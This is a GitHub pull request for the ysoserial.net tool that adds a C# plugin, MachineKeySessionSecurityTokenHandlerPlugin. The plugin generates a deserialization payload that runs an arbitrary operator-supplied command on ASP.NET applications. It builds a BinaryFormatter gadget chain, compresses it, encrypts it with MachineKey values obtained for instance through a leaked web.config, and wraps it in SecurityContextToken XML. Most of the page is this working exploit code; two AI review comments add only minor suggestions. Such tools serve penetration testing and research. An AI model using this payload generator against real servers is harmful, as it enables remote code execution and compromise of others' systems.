-
Notifications
You must be signed in to change notification settings - Fork 475
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add MachineKeySessionSecurityTokenHandlerPlugin #172
Open
2308652512
wants to merge
1
commit into
pwntester:master
Choose a base branch
from
2308652512:ysoserial.net_addMachinePlugin
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
146 changes: 146 additions & 0 deletions
146
ysoserial/Plugins/MachineKeySessionSecurityTokenHandlerPlugin.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change | ||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,146 @@ | ||||||||||||||
using System.Collections.Generic; | ||||||||||||||
using NDesk.Options; | ||||||||||||||
using System; | ||||||||||||||
using ysoserial.Generators; | ||||||||||||||
using System.IdentityModel; | ||||||||||||||
using System.IO; | ||||||||||||||
using System.Xml; | ||||||||||||||
using System.IdentityModel.Tokens; | ||||||||||||||
using ysoserial.Helpers; | ||||||||||||||
using System.IdentityModel.Services.Tokens; | ||||||||||||||
using AspNetTicketBridge; | ||||||||||||||
|
||||||||||||||
/** | ||||||||||||||
* Author: L@2uR1te (@2308652512) | ||||||||||||||
* | ||||||||||||||
* Comments: | ||||||||||||||
* This plugin is based on the existing SessionSecurityTokenHandler plugin. | ||||||||||||||
* See `MachineKeySessionSecurityTokenHandler`: https://learn.microsoft.com/zh-cn/dotnet/api/system.identitymodel.services.tokens.machinekeysessionsecuritytokenhandler?view=netframework-4.8.1 | ||||||||||||||
* This PoC uses BinaryFormatter from TypeConfuseDelegate | ||||||||||||||
* The Ysoserial.net tool includes an exploit plugin for the SessionSecurityTokenHandler security issue. However, due to the fact that SessionSecurityTokenHandler employs DPAPI for encryption and decryption, it is often difficult to exploit in most cases. | ||||||||||||||
* Nevertheless, Microsoft's documentation on SessionSecurityTokenHandler mentions that for web scenarios requiring a similar security mechanism, one can use the MachineKeySessionSecurityTokenHandler. | ||||||||||||||
* This class inherits from SessionSecurityTokenHandler and shares similar characteristics. The key difference is that MachineKeySessionSecurityTokenHandler utilizes MachineKey configuration information for encryption and decryption operations. | ||||||||||||||
* Therefore, as long as the MachineKey configuration information can be obtained (for instance, through a web.config leak), it may be possible to exploit it, making it more susceptible to exploitation compared to SessionSecurityTokenHandler. | ||||||||||||||
* This PoC produces an error and may crash the application | ||||||||||||||
**/ | ||||||||||||||
|
||||||||||||||
namespace ysoserial.Plugins | ||||||||||||||
{ | ||||||||||||||
public class MachineKeySessionSecurityTokenHandlerPlugin : IPlugin | ||||||||||||||
{ | ||||||||||||||
static string command = ""; | ||||||||||||||
static bool test = false; | ||||||||||||||
static bool minify = false; | ||||||||||||||
static bool useSimpleType = true; | ||||||||||||||
static string validationKey = ""; | ||||||||||||||
static string decryptionKey = ""; | ||||||||||||||
static string validationAlg = "HMACSHA1"; | ||||||||||||||
static string decryptionAlg = "AES"; | ||||||||||||||
static string[] purposes = { "System.IdentityModel.Services.MachineKeyTransform" }; | ||||||||||||||
|
||||||||||||||
static OptionSet options = new OptionSet() | ||||||||||||||
{ | ||||||||||||||
{"c|command=", "the command to be executed e.g. \"cmd /c calc\"", v => command = v }, | ||||||||||||||
{"t|test", "In this scenario, the test mode should not be applied, as the sink point relies on the web environment. Default: false", v => test = v != null }, | ||||||||||||||
{"minify", "Whether to minify the payloads where applicable (experimental). Default: false", v => minify = v != null }, | ||||||||||||||
{"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true", v => useSimpleType = v != null }, | ||||||||||||||
{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v }, | ||||||||||||||
{"ek|decryptionKey=", "Enter the decryptionKey from the web.config", v => decryptionKey = v }, | ||||||||||||||
{"va|validationAlg=", "Enter the validation from the web.config. Default: HMACSHA1. e.g: HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512", v => validationAlg = v }, | ||||||||||||||
{"da|decryptionAlg=", "Enter the validation from the web.config. Default: AES. e.g: AES/DES/3DES", v => decryptionAlg = v } | ||||||||||||||
}; | ||||||||||||||
|
||||||||||||||
public string Name() | ||||||||||||||
{ | ||||||||||||||
return "MachineKeySessionSecurityTokenHandler"; | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
public string Description() | ||||||||||||||
{ | ||||||||||||||
return "Generates XML payload for the MachineKeySessionSecurityTokenHandler class"; | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
public string Credit() | ||||||||||||||
{ | ||||||||||||||
return "L@2uR1te"; | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
public OptionSet Options() | ||||||||||||||
{ | ||||||||||||||
return options; | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
public object Run(string[] args) | ||||||||||||||
{ | ||||||||||||||
InputArgs inputArgs = new InputArgs(); | ||||||||||||||
List<string> extra; | ||||||||||||||
try | ||||||||||||||
{ | ||||||||||||||
extra = options.Parse(args); | ||||||||||||||
inputArgs.Cmd = command; | ||||||||||||||
inputArgs.Minify = minify; | ||||||||||||||
inputArgs.UseSimpleType = useSimpleType; | ||||||||||||||
inputArgs.Test = test; | ||||||||||||||
} | ||||||||||||||
catch (OptionException e) | ||||||||||||||
{ | ||||||||||||||
Console.Write("ysoserial: "); | ||||||||||||||
Console.WriteLine(e.Message); | ||||||||||||||
Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); | ||||||||||||||
System.Environment.Exit(-1); | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
string payload = @"<SecurityContextToken xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'> | ||||||||||||||
<Identifier xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'> | ||||||||||||||
urn:unique-id:securitycontext:1 | ||||||||||||||
</Identifier> | ||||||||||||||
<Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>{0}</Cookie> | ||||||||||||||
</SecurityContextToken>"; | ||||||||||||||
|
||||||||||||||
if (minify) | ||||||||||||||
{ | ||||||||||||||
payload = XmlHelper.Minify(payload, null, null); | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command)) | ||||||||||||||
{ | ||||||||||||||
Console.Write("ysoserial: "); | ||||||||||||||
Console.WriteLine("Incorrect plugin mode/arguments combination"); | ||||||||||||||
Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); | ||||||||||||||
System.Environment.Exit(-1); | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
byte[] serializedData = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs); | ||||||||||||||
DeflateCookieTransform myDeflateCookieTransform = new DeflateCookieTransform(); | ||||||||||||||
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes); | ||||||||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The variables validationKey, decryptionKey, decryptionAlg, and validationAlg should be validated to ensure they are not empty or invalid before being used.
Suggested change
Copilot is powered by AI, so mistakes are possible. Review output carefully before use. |
||||||||||||||
byte[] deflateEncoded = myDeflateCookieTransform.Encode(serializedData); | ||||||||||||||
byte[] encryptedEncoded = Protector.Protect(deflateEncoded); | ||||||||||||||
payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded)); | ||||||||||||||
|
||||||||||||||
|
||||||||||||||
if (minify) | ||||||||||||||
{ | ||||||||||||||
payload = XmlHelper.Minify(payload, null, null); | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
if (test) | ||||||||||||||
{ | ||||||||||||||
// PoC on how it works in practice | ||||||||||||||
try | ||||||||||||||
{ | ||||||||||||||
//In this scenario, the test mode should not be applied, as the sink point relies on the web environment. | ||||||||||||||
//Please run the following code in a web environment configured with a MachineKey for experimentation. | ||||||||||||||
XmlReader tokenXML = XmlReader.Create(new StringReader(payload)); | ||||||||||||||
MachineKeySessionSecurityTokenHandler myMachineKeySessionSecurityTokenHandler = new MachineKeySessionSecurityTokenHandler(); | ||||||||||||||
myMachineKeySessionSecurityTokenHandler.ReadToken(tokenXML); | ||||||||||||||
} | ||||||||||||||
catch (Exception err) | ||||||||||||||
{ | ||||||||||||||
Debugging.ShowErrors(inputArgs, err); | ||||||||||||||
} | ||||||||||||||
} | ||||||||||||||
|
||||||||||||||
return payload; | ||||||||||||||
} | ||||||||||||||
} | ||||||||||||||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The word 'Comments:' should be 'Comment:'.
Copilot is powered by AI, so mistakes are possible. Review output carefully before use.